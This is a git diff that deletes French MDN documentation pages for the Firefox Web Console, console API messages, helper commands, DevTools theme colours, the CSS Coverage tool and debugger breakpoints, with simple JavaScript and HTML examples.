Le Bug 863874 est le méta-bug pour l'affichage des messages d'erreurs de sécurité dans la console web. Si vous avez d'autres idées pour des fonctionnalités utiles comme celles décrites ici, ou si vous êtes intéressé pour contribuer, jetez un coup d'œil au méta-bug et à ses dépendances.

- -

Message console API

- -


-

- -

Cette section décrit les messages web console des appels API qui affichent véritablement quelque chose. Pour des informations plus génériques sur la console API il est possible de se référer à sa page de documentation.

- -

Messages d'erreurs

- - - - - - - - - - - - - - - - - - - - - - -
APIContenu du message
error() -

L'argument à  error().

- - 
-console.error("an error");
- -

A partir de Firefox 31, la console affiche la pile complète des erreurs :

- - 
-function error() {
-  console.error("an error");
-}
-
-function call_error() {
-  error();
-}
-
-call_error();
- -

-
exception()Un alias de error().
assert() -

Si l'insertion fonctionne, rien. Si l'insertion ne fonctionne pas l'argument :

- - 
-console.assert(false, "My assertion always fails");
- -

A partir de Firefox 31, la console affiche la pile complète des insertions :

- - 
-function assertion() {
-  console.assert(false, "assertion failed");
-}
-
-function call_assertion() {
-  assertion();
-}
-
-call_assertion();
- -

-
- -

Messages d'avertissement

- - - - - - - - - - - - - - -
APIContenu du message
warn() -

L'argument à warn().

- - 
-console.warn("a warning");
-
- -

Messages d'information

- - - - - - - - - - - - - - -
APIContenu du message
info() -

L'argument à info().

- - 
-console.info("some info");
-
- -

Message de log

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
APIContenu du message
count() -

Le label fourni, si présent, et le nombre d'occurrences que count() a appelé avec le label donné.

- - 
-console.count(user.value);
- -

-
log() -

L'argument à log().

- - 
-console.log("logged");
-
trace()Trace de la pile. - 
-console.trace();
-
dir() -

Liste les propriétés d'un objet.

- - 
-var user = document.getElementById('user');
-console.dir(user);
-
time() -

Notifie que le timer a démarré.

- - 
-console.time("t");
-
timeEnd() -

Durée du timer.

- - 
-console.timeEnd("t");
-
table() -
-

Ce message est une des nouveautés de Firefox 34.

-
- -

Affiche des données de tableau comme un tableau.

-
- -

Messages groupés

- -

il est possible d'utiliser console.group() pour créer des groupes indentés dans la console. Voir Using groups in the console pour plus d'informations.

- -

Personnalisation des messages

- -

Depuis Firefox 31, il est possible d'utiliser le spécificateur de format "%c" pour personnaliser les messages console :

- -
console.log("%cMy stylish message", "color: red; font-style: italic");
- -
- -

Messages d'entrée/sortie

- -

Les commandes envoyées au navigateur en utilisant la ligne de commande de la Console Web, et les réponses correspondantes, sont affichés de cette façon :

- -

La barre gris foncé indique qu'il s'agit de messages d'entrée/sortie, tandis que la direction de la flèche indique si il s’agit d'une entrée ou d'une sortie.

- -

Filtrer et rechercher

- -

Vous pouvez utiliser la barre d'outils en haut pour filtrer l'affichage :

- -

To see only messages of particular types, click the button labeled with that type ("Net", "CSS", and so on). Clicking the main part of the button toggles that type on or off, while clicking the arrow on the right gives you more fine-grained filter options within that type (for example, whether to display errors and warnings).

- -

To see only messages that contain a specific string, type in the text box labeled "Filter output".

- -

Enfin, vous pouvez aussi vider la Console Web de tous ses messages.

diff --git a/files/fr/outils/console_web/fonctions_d_aide/index.html b/files/fr/outils/console_web/fonctions_d_aide/index.html deleted file mode 100644 index f367005482..0000000000 --- a/files/fr/outils/console_web/fonctions_d_aide/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Fonctions d'aide de la Console Web -slug: Outils/Console_Web/Fonctions_d_aide -tags: - - Debugging - - Web Development - - web console -translation_of: Tools/Web_Console/Helpers ---- -
{{ToolsSidebar}}
- -

Les commandes

- -

La ligne de commande JavaScript fournie par la Console Web, offre de nombreuses fonctions d'aide pour rendre certaines tâches plus simples.

- -
    -
  • Un sélecteur passé à document.querySelector pour localiser l'iframe.
    • -
  • L'élément iframe lui même
    • -
  • La fenêtre de contenu de l'iframe
    • -
- -
-
$()
-
Analyse le sélecteur CSS, et retourne le premier élément correspondant. Équivalent à {{ domxref("document.querySelector()") }}, ou appelle la fonction $ de la page, si elle existe.
-
$$()
-
Analyse le sélecteur CSS, et retourne une liste de nœud DOM correspondant. C'est un raccourci de {{ domxref("document.querySelectorAll()") }}
-
Depuis Firefox 41, cette méthode n'est plus un raccourci pour {{ domxref("document.querySelectorAll()")}} et à la place retourne un tableau d'éléments.
-
$0
-
L'élément actuellement inspecté sur la page.
-
$_
-
Nouveau dans Firefox 39. Stocke le résultat de la dernière expression exécutée dans la ligne de commande de la console. Par exemple, taper 2+2 puis entrée et ensuite $_ puis entrée, la console affichera 4.
-
$x()
-
Evalue une expression XPath et renvoie un tableau des nœuds correspondant.
-
keys()
-
À partir d'un objet, retourne une liste de ses clefs (keys, ou nom de propriété) . C'est un raccourci de Object.keys.
-
values()
-
À partir d'un objet, retourne une liste de ses valeurs ; à utiliser avec keys().
-
clear()
-
Vide l'affichage des messages de la console.
-
inspect()
-
À partir d'un objet, ouvre un inspecteur d'objet.
-
pprint()
-
Formate la valeur fournie sous une forme lisible (pretty-print) ; utile pour afficher le contenu d'objets ou de tableaux.
-
help()
-
Affiche un texte d'aide. En fait, dans un parfait exemple de récursion, cette commande vous amène à cette page.
-
cd()
-
Change le contexte de l'évaluation JavaScript vers une autre iframe dans la page. Cet helper accepte différent inputs. Il est possible de fournir :
-
Voir travailler avec des iframes.
-
copy()
-
Nouveau dans Firefox 38. Copie l'argument dans le presse-papier. Si l'argument est une chaine de caractères, elle est copiée telle quelle. Sinon la méthode JSON.stringify sera appelée sur l'argument et le résultat sera copié dans le presse-papier.
-
clearHistory()
-
Nouveau dans Firefox 39. Exactement comme une ligne de commande normale, la ligne de commande de la console se souvient des commandes tapées.
-
Référez-vous à l'API Console pour plus d'informations sur comment journaliser depuis le contenu.
-
- -

Variables

- -
-
tempN
-
L'option "Utiliser dans la Console" de l'Inspecteur génère une variable pour un noeud nommé temp0, temp1, temp2, etc. Afin de référencer le noeud.
-
- -

Exemples

- -

Exemple : Voir le contenu d'un nœud DOM

- -

Supposons que nous avons un nœud DOM avec l'ID "content". En fait, la page que vous êtes en train de lire actuellement en possède un, vous pouvez ainsi directement ouvrir la Console Web et essayer.

- -

Regardez le contenu du nœud en utilisant les fonctions $() et inspect() :

- -
inspect($("#content"))
- -

Ceci ouvre automatiquement l'inspecteur d'objet, vous montrant le contenu du nœud DOM qui correspond au sélecteur CSS "#content".

- -

Exemple : Afficher le contenu d'un nœud DOM

- -

Imaginons que vous déboguez à distance pour un utilisateur, et que vous avez besoin du contenu du nœud. Vous pouvez demander à votre utilisateur d'ouvrir la Console Web et d'afficher le contenu du nœud dans la console, de copier le texte et de vous l'envoyer par e-mail, en utilisant la fonction  pprint() :

- -
pprint($("#content"))
-
- -

Ceci écrit tout le contenu du nœud afin que vous puissiez le lire. Bien entendu, cette commande est plus utile sur des objets autres qu'un nœud DOM.

diff --git a/files/fr/outils/console_web/index.html b/files/fr/outils/console_web/index.html deleted file mode 100644 index 7660506e93..0000000000 --- a/files/fr/outils/console_web/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Console Web -slug: Outils/Console_Web -tags: - - Debugging - - Guide - - Security - - Tools - - Web Development - - 'Web Development:Tools' - - web console -translation_of: Tools/Web_Console ---- -
{{ToolsSidebar}}
- -

La Console Web :

- -
    -
  1. Affiche les informations associées à la page web : les requêtes réseau, le JavaScript, le CSS, les erreurs et avertissements de sécurité, ainsi que les erreurs, les avertissements et les messages d'information explicitement affichés par le code JavaScript s’exécutant sur la page.
    2. -
  2. Permet d’interagir avec la page web en exécutant des expressions JavaScript dans le contexte de la page.
    3. -
- -

{{EmbedYouTube("C6Cyrpkb25k")}}

- -
-
-
-
Ouvrir la Console Web
-
Commencer à utiliser la Console Web.
-
L'interpréteur de ligne de commande
-
Interagir avec un document en utilisant la Console.
-
Console scindée
-
Utiliser la Console à côté d'autres outils.
-
-
- -
-
-
Les messages de la console
-
Les détails des messages que la Console enregistre.
-
Informations détaillées
-
Voir et interagir avec les objets affichés par la Console.
-
Raccourcis clavier
-
Référence des raccourcis.
-
-
-
diff --git a/files/fr/outils/console_web/keyboard_shortcuts/index.html b/files/fr/outils/console_web/keyboard_shortcuts/index.html deleted file mode 100644 index ddff3cf238..0000000000 --- a/files/fr/outils/console_web/keyboard_shortcuts/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Raccourcis clavier -slug: Outils/Console_Web/Keyboard_shortcuts -translation_of: Tools/Web_Console/Keyboard_shortcuts ---- -
{{ToolsSidebar}}
- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "web-console") }}

- -

Global shortcuts

- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/outils/console_web/opening_the_web_console/index.html b/files/fr/outils/console_web/opening_the_web_console/index.html deleted file mode 100644 index aa1a5fd0d7..0000000000 --- a/files/fr/outils/console_web/opening_the_web_console/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Ouvrir la Console web -slug: Outils/Console_Web/Opening_the_Web_Console -translation_of: Tools/Web_Console/UI_Tour ---- -
{{ToolsSidebar}}
- -

Pour ouvrir la Console web, il faut :

- -
    -
  • Soit sélectionner "Console Web" dans le sous-menu "Développement" du menu de Firefox ( sous Mac OS X, il s'agit du menu "Outils")
    • -
  • Soit utiliser le raccourci clavier Ctrl+Maj+K (Cmd+Option+K sous OS X).
    • -
- -

La Boite à outils apparaitra en bas de la fenêtre du navigateur, avec la Console Web activée (elle s'appelle simplement "Console" dans la barre d'outils des outils de développement) :

- -

- -

L'interface de la Console web est séparée en trois sections horizontales :

- -
    -
  • La Barre d'outils se trouve en haut et contient trois boutons. Cliquer sur la corbeille efface le contenu de la Console. Cliquer sur l'entonnoir filtre les messages affichés dans la Console. La case à cocher à droite active les journaux persistant (pas d'effaçage au rechargement ou changement de page)
    • -
  • La Ligne de commande se trouve tout en bas, commence par ">>", et permet d'entrer des expressions JavaScript.
    • -
  • Le panneau d'affichage des messages se trouve entre la barre d'outils et la ligne de commande et occupe la plupart de la fenêtre. Il affiche les divers messages de la console.
    • -
- -
-

Note: Il est possible de vider le contenu de la console avec le raccourci clavier Ctrl + L (Windows, Linux) ou Cmd + K sous macOS.

-
diff --git a/files/fr/outils/console_web/rich_output/index.html b/files/fr/outils/console_web/rich_output/index.html deleted file mode 100644 index cf1a2a8146..0000000000 --- a/files/fr/outils/console_web/rich_output/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Informations Détaillées -slug: Outils/Console_Web/Rich_output -translation_of: Tools/Web_Console/Rich_output ---- -
{{ToolsSidebar}}
- -

Lorsque la console Web, affiche des objets, elle inclut un ensemble d'informations plus riche que juste le nom de l'objet. En particulier elle :

- - - -

Information spécifique aux types

- -

La Console Web fournit des informations supplémentaires pour une bonne partie des types d'objets, cela inclut les types suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Object
Array
Date
Promise -
-

New in Firefox 36

-
- -

-
RegExp
Window
Document
Element
Event
- -

Examiner les propriétés d'un objet

- -

Lorsqu'un objet est affiché dans la console, il apparait avec une petite icône en forme de triangle en début de ligne. Cliquer dessus affichera une liste de son contenu.

- -

- -

Mettre en surbrillance les noeuds DOM

- -

Lors d'un survol, sur un noeud DOM affiché dans la console, il sera mis en surbrillance dans la page :

- -

Dans la capture d'écran ci-dessous, il est possible de remarquer une "cible" bleue à côté de du noeud : cliquer dessus ouvrira l'Inspecteur avec ce noeud sélectionné.

diff --git a/files/fr/outils/console_web/split_console/index.html b/files/fr/outils/console_web/split_console/index.html deleted file mode 100644 index 8ead94713a..0000000000 --- a/files/fr/outils/console_web/split_console/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Console scindée -slug: Outils/Console_Web/Split_console -translation_of: Tools/Web_Console/Split_console ---- -
{{ToolsSidebar}}
- -

Il est possible (et très pratique) d'utiliser la Console web en parallèle d'autres outils. Il suffit pour cela d'être dans un autre outil de développement et d'appuyer sur Échap ou bien d'appuyer sur le bouton "Afficher la console scindée" dans le menu de la Barre d'outils. La boite à outils sera alors scindée, avec l'outil de base en haut et la console en dessous.

- -

Il est possible de fermer la console scindée en appuyant à nouveau sur Échap, ou en utilisant le bouton "Fermer la console scindée".

- -

- -

{{EmbedYouTube("G2hyxhPHyXo")}}

- -

Comme d'ordinaire $0 sert de raccourci pour l'élément sélectionné actuellement dans l'inspecteur :

- -

Lors de l'utilisation de la Console scindée avec le Débogueur, la portée (scope) de la console correspond à celle du Débogueur. Ainsi si le code s'arrête à un point d'arrêt dans une fonction, la portée sera celle de la fonction. En comme si ça n'était pas assez, il y a également de l'auto complétion en fonction de la portée, cela permet par exemple de modifier les objets de la fonction facilement et rapidement :

- -

diff --git a/files/fr/outils/console_web/the_command_line_interpreter/index.html b/files/fr/outils/console_web/the_command_line_interpreter/index.html deleted file mode 100644 index 631bcd0ef8..0000000000 --- a/files/fr/outils/console_web/the_command_line_interpreter/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Interpreteur de ligne de commande -slug: Outils/Console_Web/The_command_line_interpreter -translation_of: Tools/Web_Console/The_command_line_interpreter ---- -
{{ToolsSidebar}}
- -

Il est possible d'interpréter des expressions JavaScript en temps réel en utilisant l'interpréteur de ligne de commande fournie par la Console Web. La Console a deux modes de saisie : mode ligne unique et mode éditeur multiligne.

- -

Le mode ligne unique

- -

Pour ce mode se saisie, vous pouvez écrire des expressions JavaScript dans le champ de saisie qui se situe en bas de la console, à droite de >>.

- -

Mode ligne unique, on constate que la zone de saisie se situent en bas, à la fin des message de la Console Web

- -

Pour ajouter des expressions il suffit de les saisir dans la ligne de commande et d'appuyer sur Entrée. Pour sauter des lignes et ainsi pouvoir entrer des expressions multiligne, il suffit d'utiliser MajEntrée au lieu de Entrée.

- -

L'expression entrée s'affiche alors dans la fenêtre d'affichage de message, et est suivie par son résultat :

- -

Retour de la Console Web avec coloration syntactique

- -

Si votre expression n'a pas l'air d'être complète lorsque Entrée est pressée, alors la console considère qu'il s'agit en fait d'un Maj+Entrée , permettant ainsi de finir l'expression.

- -

Par exemple, si vous tapez :

- -
function toto() {
- -

et que vous appuyiez sur Entrée, la Console ne validera PAS immédiatement votre saisie. Ceci permet d'éviter les erreurs d'inattention avec un code invalide ou pas prêt, vous épargnant par la même occasion une erreur frustrante. À la place, la Console fera comme si vous aviez utilisé Maj+Entrée , et il sera ainsi possible de finir tranquillement de rentrer la définition de la fonction.

- -

Le mode éditeur multiligne

- -

Pour le mode éditeur multiligne, cliquez sur "Passer en mode éditeur multiligne" Icone passer en mode éditeur multiligne à droite de la zone de saisie du mode ligne unique ou pressez Ctrl+B (Windows/Linux) ou Cmd+B (macOS). L'éditeur multiligne s'ouvre à gauche de la Console Web. 

- -

Editeur multiligne, avec deux colonnes, à gauche la zone de saisie et à droite la liste des message de la Console Web

- -

À l'inverse du mode ligne unique, vous pouvez saisir plusieurs lignes en pressant la touche Entrée. Pour exécuter le morceau de code que vous avez saisi, cliquez sur le bouton "Exécuter" au dessus de la zone d'édition ou appuyez sur Ctrl+Entrée (ou Cmd+Return sur MacOS).

- -

Vous pouvez ouvrir des fichiers avec le mode éditeur multiligne et sauvegarder dans un fichier le contenu présent dans la zone d'édition :

- -
    -
  • Pour ouvrir un fichier, appuyez sur Ctrl+O (Cmd+O sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner le fichier à ouvrir. 
    • -
  • Pour sauvegarder le contenu de la zone d'édition, appuyez sur Ctrl+S (Cmd+S sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner l'emplacement de sauvegarde.
    • -
- -

Pour revenir au mode ligne unique, cliquez sur l'icône X au-dessus de la zone d'édition ou appuyez sur Ctrl+B (Windows/Linux) ou Cmd+B (MacOS).

- -

Accéder à des variables

- -

Il est possible d'accéder à des variables définies dans la page, par exemple des variables préconstruites comme window et des variables ajoutées par du code JavaScript comme jQuery :

- -

- -

Autocomplétion

- -

La ligne de commande possède de l'autocomplétion : il suffit d'entrer quelques lettres et une pop-up apparait avec les complétions possibles (s’il y en a) :

- -

- -

Appuyer sur Entrée, Tab, ou Flèche Droite, acceptera la suggestion sélectionnée. Pour changer de sélection, il faut utiliser les flèches haut/bas ou continuer à taper pour affiner les suggestions.

- -

Les suggestions d'autocomplétion sont sensibles à la case.

- -

La console suggère des complétions depuis le scope qui s'exécute actuellement dans la stack frame. Cela signifie que si la console s'est arrêtée sur un point d'arrêt, l'autocomplétion suggérera des objets de la fonction locale.

- -

Les suggestions fonctionnent pour les tableaux également :

- -

- -

Définir des variables

- -

Il est possible de définir ses propres variables et d'y accéder par la suite :

- -

Console output showing syntax highlighting

- -

Une fois qu'il aura été interprété, le texte entré aura de la coloration syntaxique, de même que le résultat si approprié.

- -
-

Note: La coloration syntaxique ne sera pas visible dans votre navigateur si certaines fonctionnalités d'Accessibilité sont activées.

-
- -

Historique de commandes

- -

La ligne de commande se souvient des commandes qui ont été entrées : pour naviguer dans l'historique, il faut utiliser les flèches haut/bas.

- -

Cet historique persiste entre les sessions. Pour nettoyer l'historique, il faut utiliser fonction d'aide clearHistory().

- -

À partir de Firefox 65, il est possible d'initier une recherche inversée dans l'historique, à l'instar de ce qui est possible dans le bash Linux/Mac ou du PowerShell de Windows.
-
- Sur Windows et Linux, F9 lance la recherche inversée. Sur Mac il s'agit de Ctrl + R

- -

- -

Il faut ensuite entrer le texte recherché dans la ligne de commande en bas de la Console. Lors de la frappe, la première occurrence correspondante sera affichée dans la Console.

- -

- -

Appuyer de nouveau sur F9 (Ctrl + R sous Mac) itère à l'envers parmi les occurrences. Utiliser Maj + F9 (Ctrl + S sur Mac) itère à l'endroit parmi les occurrences. Lorsque la commande cherchée est trouvée, appuyer sur Entrée exécute l'expression.

- -

Travailler avec des iframes

- -

Si une page contient des iframes, il est possible d'utiliser la commande cd() pour changer le scope de la console vers celui d'une iframe spécifique. Il est alors possible d'exécuter des fonctions définies dans le document hosté par cette iframe. Il y a trois façons d'accéder à une iframe en utilisant cd():

- -

Il est possible de passer l'élément DOM de l'iframe :

- -
var frame = document.getElementById("frame1");
-cd(frame);
- -

Il est possible de passer un sélecteur CSS qui correspond à l'iframe :

- -
cd("#frame1");
- -

Il est possible de passer l'objet global window de l'iframe :

- -
var frame = document.getElementById("frame1");
-cd(frame.contentWindow);
- -

Pour revenir au contexte de la fenêtre principale, il suffit d'appeler cd() sans paramètres :

- -
cd();
- -

Par exemple, supposons que nous avons un document qui inclut une iframe :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-  </head>
-  <body>
-    <iframe id="frame1" src="static/frame/my-frame1.html"></iframe>
-  </body>
-</html>
- -

Cette iframe définit une nouvelle fonction :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-    <script>
-      function whoAreYou() {
-        return "I'm frame1";
-      }
-   </script>
-  </head>
-  <body>
-  </body>
-</html>
- -

Il est possible de changer de contexte comme ceci :

- -
cd("#frame1");
- -

Le document de l'objet global window est maintenant celui de l'iframe :

- -

Et il est alors possible d'appeler la fonction définie dans l'iframe :

- -

- -

Commandes d'aide

- -

{{ page("/fr/docs/Outils/Console_Web/Fonctions_d_aide", "Les commandes") }}

diff --git a/files/fr/outils/couleurs_des_devtools/index.html b/files/fr/outils/couleurs_des_devtools/index.html deleted file mode 100644 index afe2c7f12a..0000000000 --- a/files/fr/outils/couleurs_des_devtools/index.html +++ /dev/null @@ -1,331 +0,0 @@ ---- -title: Couleurs des DevTools -slug: Outils/Couleurs_des_DevTools -tags: - - CSS -translation_of: Tools/DevToolsColors ---- -
{{ToolsSidebar}}
- -
-

Ne changez aucune des ces valeurs sans l’approbation de l'UX. Si une des valeurs doit être changée, il sera alors nécessaire de modifier du code CSS dans /browser/themes/*/devtools/. Remplissez un bug Devtools si besoin.

-
- -

Ce tableau liste les couleurs et les variables CSS tels qu'implémentées dans le thème sombre et clair de des outils de développement.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Thème sombreThème lumineuxVariable CSS
-

Couleurs Chrome

- 		 
Onglets de barre d'outils -
 
- -

#252c33
- rgba(37, 44, 51, 1)

- 		-
 
- #ebeced
- rgba(235, 236, 237, 1)		--theme-tab-toolbar-background
Barre d'outils -
 
- #343c45
- rgba(52, 60, 69, 1)		 -
 
- #f0f1f2
- rgba(240, 241, 242, 1)		--theme-toolbar-background
Fond de sélection -
 
- #1d4f73
- rgba(29, 79, 115, 1)		 -
 
- #4c9ed9
- rgba(76, 158, 217, 1)		--theme-selection-background
Couleur du texte de sélection -
 
- #f5f7fa
- rgba(245, 247, 250, 1)		 -
 
- #f5f7fa
- rgba(245, 247, 250, 1)		--theme-selection-color
Séparateurs -
 
- #000000
- rgba(0, 0, 0, 1)		 -
 
- #aaaaaa
- rgba(170, 170, 170, 1)		--theme-splitter-color
Commentaires -
 
- -

#5c6773
- rgba(92, 103, 115, 1)

- 		-
 
- -

#747573
- rgba(116, 117, 115, 1)

- 		--theme-comment
-

Couleurs de contenu

- 		 
Fond du "Body" -
 
- #14171a
- rgba(17, 19, 21, 1)		 -
 
- #fcfcfc
- rgba(252, 252, 252, 1)		--theme-body-background
Fond de la "Sidebar" -
 
- #181d20
- rgba(24, 29, 32, 1)		 -
 
- #f7f7f7
- rgba(247, 247, 247, 1)		--theme-sidebar-background
Fond de l'Attention -
 
- #b28025
- rgba(178, 128, 37, 1)		 -
 
- #e6b064
- rgba(230, 176, 100, 1)		--theme-contrast-background
-

Couleurs de texte

- 		 
Texte du "Body" -
 
- #8fa1b2
- rgba(143, 161, 178, 1)		 -
 
- #18191a
- rgba(24, 25, 26, 1)		--theme-body-color
Texte de premier plan gris -
 
- #b6babf
- rgba(182, 186, 191, 1)		 -
 
- #585959
- rgba(88, 89, 89, 1)		--theme-body-color-alt
Texte de contenu de haut contraste -
 
- #a9bacb
- rgba(169, 186, 203, 1)		 -
 
- #292e33
- rgba(41, 46, 51, 1)		--theme-content-color1
Texte de contenu gris -
 
- #8fa1b2
- rgba(143, 161, 178, 1)		 -
 
- #8fa1b2
- rgba(143, 161, 178, 1)		--theme-content-color2
Texte de contenu gris sombre -
 
- #667380
- rgba(102, 115, 128, 1)		 -
 
- #667380
- rgba(102, 115, 128, 1)		--theme-content-color3
-

Couleurs de surbrillance

- 		 
Bleu -
 
- #46afe3
- rgba(70, 175, 227, 1)		 -
 
- #0088cc
- rgba(0, 136, 204, 1)		--theme-highlight-blue
Violet -
 
- #6b7abb
- rgba(107, 122, 187, 1)		 -
 
- #5b5fff
- rgba(91, 95, 255, 1)		--theme-highlight-purple
Rose -
 
- #df80ff
- rgba(223, 128, 255, 1)		 -
 
- #b82ee5
- rgba(184, 46, 229, 1)		--theme-highlight-pink
Rouge -
 
- #eb5368
- rgba(235, 83, 104, 1)		 -
 
- #ed2655
- rgba(237, 38, 85, 1)		--theme-highlight-red
Orange -
 
- #d96629
- rgba(217, 102, 41, 1)		 -
 
- #f13c00
- rgba(241, 60, 0, 1)		--theme-highlight-orange
Orange clair -
 
- #d99b28
- rgba(217, 155, 40, 1)		 -
 
- #d97e00
- rgba(217, 126, 0, 1)		--theme-highlight-lightorange
Vert -
 
- #70bf53
- rgba(112, 191, 83, 1)		 -
 
- #2cbb0f
- rgba(44, 187, 15, 1)		--theme-highlight-green
Gris-bleu -
 
- #5e88b0
- rgba(94, 136, 176, 1)		 -
 
- #0072ab
- rgba(0, 114, 171, 1)		--theme-highlight-bluegrey
- -
-

Non finalisé. voir le bug 916766.

-
diff --git a/files/fr/outils/css_coverage/index.html b/files/fr/outils/css_coverage/index.html deleted file mode 100644 index c02460ede0..0000000000 --- a/files/fr/outils/css_coverage/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: CSS Coverage -slug: Outils/CSS_Coverage -translation_of: Tools/CSS_Coverage ---- -
{{ToolsSidebar}}
- -
-

Cette fonctionnalité est expérimentale et n'est pas encore disponible dans Firefox.

-
- -

Le CSS Coverage est un ensemble de commandes pour les outils de développement de Firefox qui aide à améliorer du CSS désordonné en mettant en évidence le CSS qui n'est pas "utilisé" et en indiquant les parties du fichier CSS nécessaires au rendu initial.

- -

Cet outil est quelque peu expérimental, car la définition "d'utilisation" du CSS est compliquée. Ce guide a pour ambition d'expliquer comment cet outil fonctionne.

- -

Cet outil est généralement utilisé de la façon suivante :

- -
    -
  • Lancer le tracker de coverage ("csscoverage start")
    • -
  • Visiter un ensemble de pages représentatives du site web à analyser.
    • -
  • Arrêter le tracker ("csscoverage stop") et voir les règles non utilisées dans l'Éditeur de style.
    • -
  • Voir le rapport ("csscoverage report") contenant les règles qui pourraient être mis en ligne (in-lined) dans chaque page.
    • -
- -

Une autre commande ("csscoverage oneshot") permet de lancer ("csscoverage start; csscoverage stop").

- -

Que veut dire "utiliser" ?

- -

TL;DR :

- -

Le CSS coverage vérifie que le sélecteur tag#id.class dans l'exemple ci-dessous, existe dans un ensemble de pages web :

- -
@media thing {
-  tag#id.class:hover {
-    foo: bar;
-  }
-}
- -

Pourquoi ?

- -

Supposons que le CSS possède ce genre de propriété :

- -
<style>
-  span:hover {
-    color: purple;
-  }
-</style>
-
-<span>Test</span>
-
- -

Si durant ce test, la souris n'est pas entrée dans le <span>, est-ce que la règle a été utilisée ?

- -

Techniquement parlant, la règle span:hover n'a pas été utilisée dans le sens ou le mot "Test" n'a jamais été coloré en violet. Cependant, Le CSS coverage se concentre principalement à voir quelles règles sont pertinentes ou non pour la page. Dans ce cas, span:hover est visiblement pertinent pour la page.

- -

Supposons également que le CSS possède ce genre de propriété :

- -
<style>
-  @media tv {
-    span {
-      color: purple;
-    }
-  }
-</style>
-
-<span>Test</span>
-
- -

Devrait-il être obligatoire de se connecter depuis une télévision pour mesurer la pertinence de cette règle ?

- -

Mais "l'utilisation" n'est pas seulement une affaire de pertinence...
- Est-ce que la règle suivante est pertinente ?

- -
<style>
-  span { }
-</style>
-
-<span>Test</span>
-
- -

Il est possible d'affirmer que cette règle n'est pas pertinente, car elle n'a pas d'effet sur la page et peut donc être retirée sans danger.

- -

Cependant qu'en est-il du code suivant :

- -
<style>
-  span {
-    -o-text-curl: minor;
-  }
-</style>
-
-<span>Test</span>
-
- -

Savoir si cette règle est utilisée ou non requiert l'utilisation d'un moteur de recherche et des compétences analytiques, et peut être même des connaissances sur les versions des navigateurs supportés par le site. Ceci est donc considéré hors de portée de cet outil, du moins jusqu'à la singularité.

- -

Cela explique également pourquoi la règle appliquée aux div dans l'exemple suivant est considéré comme "utilisée"

- -
<style>
-  div { color: red; }
-  span { color: blue; }
-</style>
-
-<div><span>Test</span></div>
-
- -

Il est possible d'affirmer que la règle div n'est pas utilisée puisqu'elle n'affecte pas le rendu final de la page. Cependant si l'on considère la définition alternative suivante :

- -
<style>
-  div { color: red; border: none; }
-  span { color: blue; }
-</style>
-
- -

Il est alors difficile de savoir si la règle de bordure est utilisée, et il existe beaucoup d'autres variations. L'opacité, la visibilité et les conversions de couleurs par exemple compliquent encore la définition "d'utilisation". Pour garder une définition simple, "utilisée" signifie que le sélecteur correspond ç au moins un élément.

- -

Si une feuille de style incluse dans un test contient une règle qui ne s'applique que pour une page particulière qui n'a pas été visitée lors du Test, alors bien évidemment cette règle sera marquée comme "non-utilisée" malgré le fait qu'il existe des moments ou cette règle est utilisée. Il est donc recommandé de doubler les vérifications avant d'enlever des règles des fichiers CSS.

- -

Avertissements

- -

Il est à noter que :

- -
    -
  • L'outil présume qu'une URL retourne le même ensemble d'octets chaque fois qu'elle référencée lors de la période de test.
    • -
  • Les feuilles de style alternatives ne sont pas traquées.
    • -
- -

Bugs

- -

La résolution de certains bugs importants est actuellement en travail :

- -
    -
  • Les changements du CSSOM via JavaScript ne sont actuellement pas traqués. Cela inclu l'ajout de feuilles de styles. Voir le bug 1007533.
    • -
  • Le markup dans l'Éditeur de style est fait ligne par ligne et, les sources-maps ne sont pas encore supportées. En conséquence, l'analyse devient confuse si le test est réalisé sur du CSS compressé. Voir le bug 1007073.
    • -
  • Les informations @keyframe ne sont pas incluses dans le résumé de préchargement. Voir le bug 1034062.
    • -
- -

 

- -

Alternatives

- -

Il y plusieurs autres outils qui peuvent vous aider à trouver du CSS inutilisé, sans avoir besoin d'utiliser Firefox.

- -
    -
  • Unused CSS parcourt récursivement votre site pour détecter les sélecteurs inutilisés. Il s'agit d'un outil en ligne, gratuite et sans publicité.
    • -
  • PurifyCSS est un paquet NPM qui est utilisable comme un outil de console après son installation.
    • -
  • unused-css.com, un autre outil en ligne. Celui-ci n'est pas gratuit.
    • -
diff --git a/files/fr/outils/debugger_(before_firefox_52)/disable_breakpoints/index.html b/files/fr/outils/debugger_(before_firefox_52)/disable_breakpoints/index.html deleted file mode 100644 index 89a692e2ad..0000000000 --- a/files/fr/outils/debugger_(before_firefox_52)/disable_breakpoints/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Désactiver des point d'arrêts -slug: Outils/Debugger_(before_Firefox_52)/Disable_breakpoints -translation_of: Tools/Debugger_(before_Firefox_52)/Disable_breakpoints ---- -
{{ToolsSidebar}}
-

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

- -

Voir la documentation pour les versions depuis Firefox 52.

-
- -

Si vous utilisez Firefox 52 ou plus récent, et que vous avez besoin d'utiliser l'ancien Débogueur, il faut changer la préférence "devtools.debugger.new-debugger-frontend" à false dans about:config (page du navigateur).

- -

Pour désactiver un point d'arrêt, il suffit de décocher la case à cocher à coté du point d'arrêt dans le panneau de la liste des sources :

- -

- -

